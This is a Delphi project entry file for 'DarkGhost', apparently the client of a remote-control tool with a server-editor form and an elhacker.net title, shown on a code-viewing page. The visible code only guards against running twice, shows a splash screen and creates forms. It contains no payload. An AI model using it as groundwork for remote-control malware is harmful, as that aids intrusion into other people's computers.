?? darkghost.dpr
字號:
program DarkGhost;
uses
UnitPrincipal in 'UnitPrincipal.pas' {FormPrincipal},
UnitSplash in 'UnitSplash.pas' {FormSplash},
UnitOpciones in 'UnitOpciones.pas' {FormOpciones},
Windows,
Forms,
Messages,
UnitControl in 'UnitControl.pas' {FormControl},
UnitCambiarTituloWindow in 'UnitCambiarTituloWindow.pas' {FormCambiarTituloWindow},
UnitEditorDelServer in 'UnitEditorDelServer.pas' {FormEditor};
const
CM_RESTORE = WM_USER + $1000; //Se usa para prevenir dos ejecuciones simultanias de la aplicacion
var
RvHandle : hWnd; //Se usa para prevenir dos ejecuciones simultanias de la aplicacion
{$R *.res}
begin
//Principio codigo para prevenir dos ejecuciones simultanias de la aplicacion
RvHandle := FindWindow('[0066]Este es el cliente del DarkGhost[0066]', NIL);
if RvHandle > 0 then
begin
PostMessage(RvHandle, CM_RESTORE, 0, 0);
Exit;
end;
//Final codigo para prevenir dos ejecuciones simultanias de la aplicacion
FormSplash := TFormSplash.Create(Application);
FormSplash.Show;
FormSplash.Update;
FormPrincipal.Delay(2000);
FormSplash.Hide;
FormSplash.Free;
Application.Initialize;
Application.Title := 'DarkGhost Upadate 1.0 :: elhacker.net ::';
Application.CreateForm(TFormPrincipal, FormPrincipal);
Application.CreateForm(TFormOpciones, FormOpciones);
Application.CreateForm(TFormControl, FormControl);
Application.CreateForm(TFormCambiarTituloWindow, FormCambiarTituloWindow);
Application.CreateForm(TFormEditor, FormEditor);
Application.Run;
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -